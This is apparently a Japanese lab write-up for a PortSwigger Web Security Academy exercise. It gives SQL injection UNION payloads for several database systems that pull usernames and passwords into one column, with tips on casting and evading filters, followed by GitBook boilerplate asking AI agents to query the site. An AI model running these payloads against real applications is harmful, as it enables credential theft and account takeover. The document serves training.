> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# 1つのカラムで複数の値を抽出するUNION攻撃

PortSwigger Web Security Academy のラボ向けメモ。1つのカラムで複数の値を抽出するUNION攻撃に関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### SQLインジェクションのUNION攻撃、1つの列で複数の値を取得する

**目的：** 回収 `username` および `パスワード` 1つの列に連結し、その後で認証する `administrator`.

#### (1) 事前に必要なもの

* 知る **列数** クエリによって返される（参照 `ORDER BY` / `UNION NULL` テスト）。
* レスポンスで返される出力列（可視の定数）を特定する。

#### 2) ペイロード例（DBMSによる）

> 列数を調整する（`NULL`/定数）を脆弱なクエリに合わせる。

* **Oracle / PostgreSQL（で連結） `||`）— 典型的な2列のリクエスト：**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL（CONCAT）- 2列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL（CONCATまたは+）- 2列：**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

または

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **元のリクエストが3列の場合（例）：**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **型が互換でない場合** （UNIONエラー）：変換/キャストを強制する：
  * PostgreSQL： `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle： `TO_CHAR(username)`

#### 3) 簡潔な手順

1. 確定する `N` 列数（`ORDER BY 1..N`).
2. 確認する `UNION SELECT` を `NULL`/定数。
3. DBMSと列数に合わせた連結ペイロードを注入する。
4. 見つける `username:password` レスポンス内の行。
5. 特定する `administrator:...` エントリを特定し、これらの資格情報で認証ページにログインする。

#### 4) 実践上の注意

* パスワードがハッシュ化されている場合（例：bcrypt）、そのままログインには使えません。許可されているならパスワードを解析するか、平文で保存されていることを確認する必要があります（重大なセキュリティインシデント）。
* アプリケーションが1列しか表示しない場合は、連結が適切です。複数列を表示する場合は、 `UNION SELECT username, password` の方が分かりやすいです。
* もし `UNION` フィルタされている場合は、空白/コメントや関数のバリエーション（`CONCAT`, `CHR`/`CHAR`）を試してフィルタを回避してください。


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
